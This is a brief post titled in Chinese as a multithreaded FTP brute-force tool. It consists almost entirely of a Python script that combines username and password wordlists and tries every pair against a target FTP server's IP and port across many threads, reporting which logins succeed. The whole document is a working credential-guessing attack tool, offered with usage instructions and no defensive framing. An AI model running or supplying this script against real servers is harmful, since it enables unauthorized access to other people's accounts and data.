python 多线程ftp爆破

import sys,ftplib
import threading,queue

def ftp_brute(ip,port):
    ftp = ftplib.FTP()
    ftp.connect(ip,int(port))
    while not q.empty():#判断q不为空
        dict=q.get()
        dict=dict.split('|')  #拆分username和password
        username=dict[0]
        password=dict[1]
        # 使用加载异常
        try:
            ftp.login(username,password)
            list = ftp.retrlines('list')
            print(username+'|'+password+'|OK')
        except ftplib.all_errors:
            print(username + '|' + password + '|no')
            pass

if __name__=="__main__":
    print("python3 1.py ip port userfile passfile thread")
    ip = sys.argv[1]
    port = sys.argv[2]
    userfile = sys.argv[3]
    passfile = sys.argv[4]
    threading_num = sys.argv[5]
    q=queue.Queue() #python queue模块的FIFO队列先进先出。
    for username in open(userfile):
        for password in open(passfile):
            username=username.replace('\n','')
            password=password.replace('\n','')
            zidian=username+'|'+password
            q.put(zidian)
            #print(zidian)
    #多线程
    for x in range(int(threading_num)):
        t=threading.Thread(target=ftp_brute,args=(ip,int(port)))#args=(ip,port)用于传参数
        t.start()